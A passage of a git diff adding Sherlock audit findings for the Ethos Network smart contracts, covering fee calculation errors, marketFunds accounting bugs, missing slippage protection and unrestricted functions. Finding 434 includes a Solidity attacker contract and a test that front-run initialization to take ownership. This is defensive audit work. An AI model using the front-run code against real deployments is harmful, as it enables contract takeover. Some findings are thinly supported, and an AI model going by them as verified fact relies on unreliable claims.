configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author +24: uint256 profileId = IEthosProfile( +25: contractAddressManager.getContractAddressForName(ETHOS_PROFILE) +26: ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +However, the [unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459) function is only callable by the vouch creator, and all funds are sent to the vouch creator. + +```solidity + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + ... + +459: if (vouches[vouchId].authorAddress != msg.sender) { +460: revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); +461: } + + ... + +475: (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + + ... + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +### Impact + +Potential risk of fund loss for vouch increasers. + +### PoC + +### Mitigation + +Ensure that the `increaseVouch()` function is only callable by the vouch creator. \ No newline at end of file diff --git a/429.md b/429.md new file mode 100644 index 0000000..6266cb1 --- /dev/null +++ b/429.md @@ -0,0 +1,109 @@ +Fresh Ocean Mantis + +High + +# Improper fee mechanism in the `EthosVouch.applyFees()` function. + +### Summary + +In the `applyFees()` function, the total amount is divided into four parts: `protocolFee`, `donationFee`, `vouchersPoolFee`, and `toDeposit`. The first three are fees, while `toDeposit` is allocated for the vouch. + +The division should satisfy the following ratio: + +```solidity + protocolFee : donationFee : vouchersPoolFee + + = entryProtocolFeeBasisPoints : entryDonationFeeBasisPoints : entryVouchersPoolFeeBasisPoints +``` + +However, the current mechanism does not satisfy this requirement. + +### Root Cause + +As shown in the [applyFees()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938) function, `protocolFee`, `donationFee`, and `vouchersPoolFee` are calculated separately using the `calcFee()` function. + +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees +936: uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +937: uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +938: uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + ... + +951: totalFees = protocolFee + donationFee + vouchersPoolFee; +952: toDeposit = amount - totalFees; + ... + } +``` + +The [calcFee()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L987-L988) function divides the input amount into two parts based on the input ratio. + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + ... + + return +987: total - +988: (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +Since the three fee calculations are performed separately, their ratio does not satisfy the desired one. + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +Let's consider the following scenario: + +- Assumptions: + + - entryProtocolFeeBasisPoints = 2.5% + - entryDonationFeeBasisPoints = 2.5% + - entryVouchersPoolFeeBasisPoints = 5% +- Under these assumptions, the expected total fee is `0.1 / 1.1` of the total amount. + +- Current implementation: + + - protocolFee = calcFee(amount, 0.025) = `amount * 0.025 / 1.025`; + - donationFee = calcFee(amount, 0.025) = `amount * 0.025 / 1.025`; + - vouchersPoolFee = calcFee(amount, 0.05) = `amount * 0.05 / 1.05`; + - As a result, their ratio is: `(0.025 / 1.025) : (0.025 / 1.025) : (0.05 / 1.05)`. + + This ratio differs from the desired ratio of `2.5 : 2.5 : 5`. + +The current implementation does not satisfy the desired ratio between fees, and the total fee amount is greater than expected. In this scenario, the loss percentage is calculated as follows: + + (0.025 / 1.025 + 0.025 / 1.025 + 0.05 / 1.05) - 0.1 / 1.1 = 0.0055 + +Comparing it to the desired total fee, we find that `0.0055 / (0.1 / 1.1) = 0.06`, which equals a difference of 6%. + +The loss depends on the three fee percentages. + +### Impact + +The total fee is greater than expected, resulting in a loss of funds. + +### PoC + +### Mitigation + +Consolidate fee calculations into a single location. + +```solidity + uint256 totalFeeBasisPoints = 10000 + entryProtocolFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints; + + uint256 protocolFee = amount * entryProtocolFeeBasisPoints / totalFeeBasisPoints; + uint256 donationFee = amount * entryDonationFeeBasisPoints / totalFeeBasisPoints; + uint256 vouchersPoolFee = amount * entryVouchersPoolFeeBasisPoints / totalFeeBasisPoints; +``` \ No newline at end of file diff --git a/430.md b/430.md new file mode 100644 index 0000000..e458ee6 --- /dev/null +++ b/430.md @@ -0,0 +1,96 @@ +Fresh Ocean Mantis + +High + +# Unfair fee calculation in the `ReputationMarket._calculateBuy()` function. + +### Summary + +When buying votes, the fee is deducted first, and the remaining amount is used to purchase votes. The final remaining amount is then refunded. + +However, the fee should be calculated based on the actual amount used for the purchase. + +### Root Cause + +As shown in [line 960](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960) of the `_calculateBuy()` function, the fee is deducted first, and the remaining amount, `fundsAvailable`, is used to purchase votes. + +However, the `fundsAvailable` amount is not fully utilized for buying votes, which results in a discrepancy from the actual amount used for the purchase. Therefore, the fee calculation should be re-evaluated based on the actual amount used to buy votes. + +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; +960: (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +Let's consider the following scenario: + +Alice wants to buy some votes with `100` (the unit of currency is not important; we can assume it is 0.0001 ETH). + +- The total fee percentage is `5%`, so `5` is deducted as a fee. +- Therefore, `95` is allocated to buy votes. +- However, only `76` is used because the price of the next vote exceeds `19`. +- As a result, `19` is refunded to the buyer. +- Finally: + - Total Amount used: `76 + 5 = 81` + - Fee paid: `5` + +The actual fee percentage is calculated as `5 / 81 = 6.17%`, which exceeds the original `5%`. + +In fact, if the buyer uses `80` instead of `100`, the outcome will remain the same, and the buyer will only incur a fee of `4` instead of `5`. + +Of course, users can determine the required amount using the `simulateBuy()` function, but if someone makes a purchase earlier, a similar scenario could occur. + +### Impact + +Loss of funds for the buyer. + +### PoC + +### Mitigation + +Recalculate fees after the purchase. \ No newline at end of file diff --git a/431.md b/431.md new file mode 100644 index 0000000..2c84077 --- /dev/null +++ b/431.md @@ -0,0 +1,88 @@ +Fresh Ocean Mantis + +High + +# Incorrect modification of `marketFunds` in the `ReputationMarket.buyVotes()` function. + +### Summary + +`marketFunds` represents the net amount without fees. However, in the `buyVotes()` function, `marketFunds` is incremented by `fundsPaid`, which includes the fee amount. + +### Root Cause + +As shown in [line 481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) of the `buyVotes()` function, `marketFunds` is incremented by `fundsPaid`. + +```solidity + function buyVotes( + ... + + ( + uint256 votesBought, +453: uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + ... + +481: marketFunds[profileId] += fundsPaid; + + ... + } +``` + +`fundsPaid` is calculated in the `_calculateBuy()` function. However, as you can see in [line 978](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978), `fundsPaid` includes fees. + +```solidity + function _calculateBuy( + ... + +978: fundsPaid += protocolFee + donation; + + ... + } +``` + +`marketFunds` represents the refund amount when withdrawing graduate market funds, so it should not include fees that were already paid to the protocol and for donations. + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +### Impact + +Incorrect modification of `marketFunds` results in a loss of funds for the protocol when withdrawing from the graduate market funds. + +### PoC + +### Mitigation + +Exclude fees when modifying `marketFunds`. + +```diff + function buyVotes( + ... + + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + ... + +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; + + ... + } +``` \ No newline at end of file diff --git a/432.md b/432.md new file mode 100644 index 0000000..ee8e606 --- /dev/null +++ b/432.md @@ -0,0 +1,103 @@ +Fresh Ocean Mantis + +High + +# Incorrect modification of `marketFunds` in the `ReputationMarket.sellVotes()` function. + +### Summary + +In the `sellVotes()` function, `marketFunds` is decremented by `fundsReceived`, which doesn't include the fee amount paid. However, the fee amount should also be deducted from `marketFunds`. + +### Root Cause + +As shown in [line 522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) of the `sellVotes()` function, `marketFunds` is decremented by `fundsReceived`. + +```solidity + function sellVotes( + ... + + ( + uint256 votesSold, +505: uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + ... + +517: applyFees(protocolFee, 0, profileId); + +520: _sendEth(fundsReceived); + +522: marketFunds[profileId] -= fundsReceived; + + ... + } +``` + +`fundsReceived` is calculated in the `_calculateSell()` function. This function determines the total price of selling votes and deducts fees (at line 1041) from it. Therefore, `fundsReceived` only represents the amount received by the seller. Consequently, fees should also be subtracted from `marketFunds`. + +```solidity + function _calculateSell( + ... + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +1038: fundsReceived += votePrice; + votesSold++; + } +1041: (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +### Impact + +Incorrect modification of `marketFunds` results in a loss of funds for the protocol when withdrawing from the graduate market funds. + +### PoC + +### Mitigation + +Subtract fee amount from `marketFunds`. + +```diff + function sellVotes( + ... + + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + ... + + applyFees(protocolFee, 0, profileId); + + _sendEth(fundsReceived); + +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; + + ... + } +``` \ No newline at end of file diff --git a/433.md b/433.md new file mode 100644 index 0000000..34597d0 --- /dev/null +++ b/433.md @@ -0,0 +1,96 @@ +Fresh Ocean Mantis + +Medium + +# Absence of slippage protection in the `ReputationMarket.sellVotes()` function. + +### Summary + +The `sellVotes()` function lacks slippage protection. + +The sell price depends on the current number of votes. As more votes are sold, the price decreases. As a result, the seller could receive significantly less than expected if others sell earlier. + +### Root Cause + +The [sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L496-L498) function lacks a minimum expected received funds parameter. + +```solidity + function sellVotes( +496: uint256 profileId, +497: bool isPositive, +498: uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + ... + + ( + uint256 votesSold, +505: uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + ... + } +``` + +`fundsReceived` is the amount the seller receives, calculated as the total sum of the price of each vote. The price of a vote is determined by the formula: + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; +922: return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +Due to this formula, as more votes are sold, the price decreases. This means later sales result in a lower received amount, highlighting the necessity for slippage protection. + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +Let's consider the following scenario: + +1. Current state of the market: + + - votes[TRUST] = 100 + - votes[DISTRUST] = 100 + - totalVotes = 200 +2. Alice and Bob want to sell their 20 TRUST votes respectively. For them, the expected amounts are: + + - 1st vote: basePrice * (100 / 200) + - 2nd vote: basePrice * (99 / 199) (as votes[TRUST] is decremented by 1) + - 3rd vote: basePrice * (98 / 198) (as votes[TRUST] is decremented by 1 again) + + ... + - 20th vote: basePrice * (81 / 181) + - Total: basePrice * (100/200 + 99/199 + ... + 81/181) = basePrice * 9.49 +3. Alice's transaction is processed first. Current state: + + - votes[TRUST] = 80 + - votes[DISTRUST] = 100 + - totalVotes = 180 +4. Then, Bob's transaction is processed. For him: + + - 1st vote: basePrice * (80 / 180) + - 2nd vote: basePrice * (79 / 179) (as votes[TRUST] is decremented by 1) + - 3rd vote: basePrice * (78 / 178) (as votes[TRUST] is decremented by 1 again) + + ... + - 20th vote: basePrice * (61 / 161) + - Total: basePrice * (80/180 + 79/179 + ... + 61/161) = basePrice * 8.25 + +As a result, Bob receives `8.25 / 9.49 = 87%` of the expected amount. + +### Impact + +The lack of slippage protection could result in a significantly lower received amount than expected. + +### PoC + +### Mitigation + +Implement slippage protection. \ No newline at end of file diff --git a/434.md b/434.md new file mode 100644 index 0000000..0fad965 --- /dev/null +++ b/434.md @@ -0,0 +1,157 @@ +Dazzling Pearl Capybara + +Medium + +# Front-Run Vulnerability in `initialize` Function of EthosVouch Contract Allows Unauthorized Control and Parameter Manipulation + +### Summary + +The `initialize` function of the **EthosVouch** contract is used to initialize the contract's state and set key parameters. Although it uses the `initializer` modifier to prevent reinitialization, there is still a risk of a **front-run attack**. An attacker could call the `initialize` function before the intended initializer, allowing them to set their own values, take ownership of the contract, and potentially force a redeployment. + +### Root Cause + +The vulnerability stems from the lack of caller verification. The contract relies solely on the `initializer` modifier to prevent multiple initializations but does not ensure atomicity during deployment. Anyone can call the `initialize` function as long as it's the first call, without any check on the caller's identity. + +[ethos/packages/contracts/contracts/EthosVouch.sol:initialize#L259](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L270C1-L270C27) +```solidity +function initialize( + address _owner, + address _admin, + address _expectedSigner, + address _signatureVerifier, + address _contractAddressManagerAddr, + address _feeProtocolAddress, + uint256 _entryProtocolFeeBasisPoints, + uint256 _entryDonationFeeBasisPoints, + uint256 _entryVouchersPoolFeeBasisPoints, + uint256 _exitFeeBasisPoints +) external initializer { + // Anyone can call this function + // It will succeed as long as it's the first call + __accessControl_init(...); +} +``` + +### Internal pre-conditions + +- The contract must be deployed but not yet initialized. +- The `_initialized` variable must be `false`. +- The contract must have sufficient gas to execute initialization. + +### External pre-conditions + +- Before the normal initialization transaction is executed. +- After the contract has been deployed. +- Before someone else attempts initialization. + +### Attack Path + +1.**Monitor Deployment**: +The attacker actively monitors for the deployment of the EthosVouch contract. This can be done by tracking events emitted during contract creation or by continuously checking for newly deployed contracts. +```solidity +contract Attacker { + function monitorDeployment(address target) external { + // Listen to the deployment event of the EthosVouch contract + } +} +``` + +2.**Front-Run Attack**: +After detecting the deployment, the attacker can attempt to front-run the initialization of the contract. Since the initialize function only requires the contract to be deployed (but not yet initialized), the attacker can call initialize on the EthosVouch contract before the legitimate initialization process is executed. + +By calling the initialize function, the attacker sets the ownership and administrative roles, and controls critical parameters of the contract, including the fee distribution, signer, and verifier. This allows the attacker to fully control the contract. + +```solidity +contract EthosVouchAttacker { + function attack(address target) external { + IEthosVouch(target).initialize( + address(this), // Attacker becomes the owner + address(this), // Attacker becomes the admin + address(this), // Attacker controls signer + address(this), // Attacker controls signature verifier + address(this), // Attacker controls contract manager + address(this), // Attacker controls fee receiver + 100, // Protocol fee rate + 100, // Donation fee rate + 100, // Voucher pool fee rate + 100 // Exit fee rate + ); + } +} +``` + +### Impact + +- The attacker gains full control of the contract and can modify key parameters and fee rates. +- The attacker could manipulate the fee distribution, hijack the collateral system, or block normal users from using the contract, forcing redeployment. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import {Test} from "forge-std/Test.sol"; +import {EthosVouch} from "../contracts/EthosVouch.sol"; + +contract EthosVouchTest is Test { + EthosVouch public vouch; + address public attacker = address(0x1); + + function setUp() public { + // Deploy the contract + vouch = new EthosVouch(); + } + + function testFrontRunInitialize() public { + // Simulate attacker action + vm.startPrank(attacker); + + // Front-run initialization + vouch.initialize( + attacker, // owner + attacker, // admin + attacker, // signer + attacker, // verifier + attacker, // manager + attacker, // fee receiver + 100, // max fee + 100, // max fee + 100, // max fee + 100 // max fee + ); + + // Verify the attacker's control + assertEq(vouch.owner(), attacker); + assertEq(vouch.admin(), attacker); + + vm.stopPrank(); + } +} +``` + +### Mitigation + +To mitigate this issue, one solution is to use a **factory contract** that ensures only the deployer of the contract can initialize it. Alternatively, the deployer’s address should be validated to prevent unauthorized deployments and initializations. + +```solidity +contract EthosVouchFactory { + function deployAndInitialize( + address owner, + address admin, + // ... other params + ) external returns (address) { + EthosVouch vouch = new EthosVouch(); + vouch.initialize(owner, admin, ...); + return address(vouch); + } +} + +function initialize( + address owner, + // ... other params +) external initializer { + require(msg.sender == DEPLOYER, "Unauthorized"); + __accessControl_init(...); +} +``` \ No newline at end of file diff --git a/435.md b/435.md new file mode 100644 index 0000000..37318d2 --- /dev/null +++ b/435.md @@ -0,0 +1,189 @@ +Brilliant Jetblack Swan + +High + +# `ReputationMarket::buyVotes` function doesn't account `marketFunds` correctly + +### Summary + +When users buy votes of the specific market, `buyVotes` function accounts `marketFunds` incorrectly and this could make some graduated markets unable to withdraw their funds. Also this could affect withdrawal of donation due to the insufficient funds. + +### Root Cause + +`buyVotes` function doesn't account `marketFunds` correctly. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +When graduated markets withdraw their funds, they can withdraw more than they should and remaining graduated markets will be unable to withdraw their funds because there is not enough funds in the contract. Some of the donation recipients could be unable to withdraw their funds due to the lack of funds. + +### PoC + +When users buy votes, `ReputationMarket::_calculateBuy` function is called and returns `fundsPaid`. + +```solidity +File: ReputationMarket.sol +942: function _calculateBuy( +943: Market memory market, +944: bool isPositive, +945: uint256 funds +946: ) +947: private +948: view +949: returns ( +950: uint256 votesBought, +951: uint256 fundsPaid, +952: uint256 newVotePrice, +953: uint256 protocolFee, +954: uint256 donation, +955: uint256 minVotePrice, +956: uint256 maxVotePrice +957: ) +958: { +959: uint256 fundsAvailable; +960: (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + +970: while (fundsAvailable >= votePrice) { +971: fundsAvailable -= votePrice; +972: fundsPaid += votePrice; +973: votesBought++; +974: +975: market.votes[isPositive ? TRUST : DISTRUST] += 1; +976: votePrice = _calcVotePrice(market, isPositive); +977: } +978: fundsPaid += protocolFee + donation; //@audit fundsPaid is added with protocol fee and the donation fee + +983: } + +``` +At [L978](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978), the `fundsPaid` is added with `protocolFee` and `donation`. + +`buyVotes` function handles `protocolFee` and `donation` by utilizing `applyFees` function at [L464](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L464). + +```solidity +File: ReputationMarket.sol +442: function buyVotes( +443: uint256 profileId, +444: bool isPositive, +445: uint256 expectedVotes, +446: uint256 slippageBasisPoints +447: ) public payable whenNotPaused activeMarket(profileId) nonReentrant { +448: _checkMarketExists(profileId); +449: +450: // Determine how many votes can be bought with the funds provided +451: ( +452: uint256 votesBought, +453: uint256 fundsPaid, +454: , +455: uint256 protocolFee, +456: uint256 donation, +457: uint256 minVotePrice, +458: uint256 maxVotePrice +459: ) = _calculateBuy(markets[profileId], isPositive, msg.value); + +463: // Apply fees first +464: applyFees(protocolFee, donation, profileId); + +481: marketFunds[profileId] += fundsPaid; + +493: } + +``` + +`applyFees` function sends `protocolFee` to the `protocolFeeAddress` and updates the corresponding `donationEscrow` mapping by adding `donation`. + +```solidity +File: ReputationMarket.sol +1116: function applyFees( +1117: uint256 protocolFee, +1118: uint256 donation, +1119: uint256 marketOwnerProfileId +1120: ) private returns (uint256 fees) { +1121: donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; +1122: if (protocolFee > 0) { +1123: (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); +1124: if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); +1125: } +1126: fees = protocolFee + donation; +1127: } + +``` +Hence `protocolFee` and `donation` should not be accounted as `marketFunds` as they belong to the protocol and the donation recipient. + +However, at [L481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), `buyVotes` function just adds `fundsPaid` which includes `protocolFee` and `donation` to the `marketFunds`. This results in `marketFunds` gets bigger than it should be and `Ether` balance of this contract will be smaller than the sum of all marketFunds and the donationEscrow. As a result, when graduated markets withdraw their funds, they withdraw more than they should leaving insufficient funds for remaining graduated markets and donation recipients. + + +### Mitigation + +It is recommended to fix the `buyVotes` function as follows: + +```diff + +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } + +``` \ No newline at end of file diff --git a/436.md b/436.md new file mode 100644 index 0000000..f5c9515 --- /dev/null +++ b/436.md @@ -0,0 +1,53 @@ +Fresh Ocean Mantis + +High + +# The `EthosVouch.claimRewards()` function should only be callable by a specific address, rather than by holders of the same `profileId`. + +### Summary + +The protocol aims to associate `ownership of funds` with an address rather than a profile. This approach helps prevent funds from being drained if one of several addresses is compromised. + +However, the current design allows holders of the same `profileId` to claim rewards. This mechanism poses a potential risk of fund loss. + +### Root Cause + +As shown in the [claimRewards()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L668) function, holders of the same `profileId` can claim rewards. + +```solidity + function claimRewards() external whenNotPaused nonReentrant { +668: (bool verified, , bool mock, uint256 callerProfileId) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusByAddress(msg.sender); + + // Only check that this is a real profile (not mock) and was verified at some point + if (!verified || mock) { + revert ProfileNotFoundForAddress(msg.sender); + } + +677: uint256 amount = rewards[callerProfileId]; + if (amount == 0) revert InsufficientRewardsBalance(); + + rewards[callerProfileId] = 0; +681: (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Rewards claim failed"); + + emit WithdrawnFromRewards(callerProfileId, amount); + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +### Impact + +Potential risk of reward loss. + +### PoC + +### Mitigation + +Ensure that the `claimRewards()` function is only callable by a certain address. \ No newline at end of file diff --git a/437.md b/437.md new file mode 100644 index 0000000..8873cf6 --- /dev/null +++ b/437.md @@ -0,0 +1,47 @@ +Nutty Spruce Urchin + +High + +# Incorrecet modification of the `amountDistributed` variable in the `EthosVouch._rewardPreviousVouchers` function + +### Summary + +The `_rewardPreviousVouchers` function returns `amountDistributed` as 0 and the `applyFees` function sets the `vouchersPoolFee` as returned value. +As a result, this causes the loss of funds for protocol. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L949 + +```solidity + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed +@> vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +This causes the loss of funds for protocol. + +### PoC + +None + +### Mitigation + +Don't modify the `vouchersPoolFee` in the `applyFees` function. \ No newline at end of file diff --git a/438.md b/438.md new file mode 100644 index 0000000..4d18f8b --- /dev/null +++ b/438.md @@ -0,0 +1,149 @@ +Brilliant Jetblack Swan + +High + +# `ReputationMarket::sellVotes` function accounts `marketFunds` incorrectly + +### Summary + +`ReputationMarket::sellVotes` function accounts `marketFunds` incorrectly and this could affect the withdrawal of graduated markets and the withdrawal of donation. + +### Root Cause + +`ReputationMarket::sellVotes` function handles `fundsReceived` and `protocolFee` incorrectly. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +Some of the graduated markets and donation recipients will be unable to withdraw their funds due to the lack of balance of the contract. + +### PoC + +When users sell their votes, `_calculateSell` function is invoked and returns `fundsReceived` and `protocolFee`. + +```solidity + +File: ReputationMarket.sol +1003: function _calculateSell( +1004: Market memory market, +1005: uint256 profileId, +1006: bool isPositive, +1007: uint256 amount +1008: ) +1009: private +1010: view +1011: returns ( +1012: uint256 votesSold, +1013: uint256 fundsReceived, +1014: uint256 newVotePrice, +1015: uint256 protocolFee, +1016: uint256 minVotePrice, +1017: uint256 maxVotePrice +1018: ) +1019: { + +1031: while (votesSold < amount) { +1032: if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { +1033: revert InsufficientVotesToSell(profileId); +1034: } +1035: +1036: market.votes[isPositive ? TRUST : DISTRUST] -= 1; +1037: votePrice = _calcVotePrice(market, isPositive); +1038: fundsReceived += votePrice; +1039: votesSold++; +1040: } +1041: (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); +1042: minPrice = votePrice; +1043: +1044: return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); +1045: } + +``` + +`fundsReceived` is ajusted by `previewFees` function at [L1041](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041). + +```solidity +File: ReputationMarket.sol +1141: function previewFees( +1142: uint256 amount, +1143: bool isEntry +1144: ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { +1145: if (isEntry) { +1146: protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; +1147: donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; +1148: } else { +1149: protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; +1150: } +1151: funds = amount - protocolFee - donation; +1152: } + +``` +As evident from the above code snippet, the `fundsReceived` is deducted by the `protocolFee` and `donation`. + +`sellVotes` function sends `protocolFee` by calling `applyFees` function at [L517](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L517). And the `marketFunds` is reduced by the `fundsReceived` at [L522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522). + +Hence, `protocolFee` which should sent from `marketFunds` are not accounted anywhere and just reduces the contract balance. The `marketFunds` is never affected by the `protocolFee`. So it is obivious that the `Ether` balance of the contract could be smaller than the sum of all the `marketFunds` and donation escrow. + +As a result, the some of the graduate markets and the donation recipients could be unable to withdraw their funds due to the lack of funds. + +### Mitigation + +It is recommended to fix the 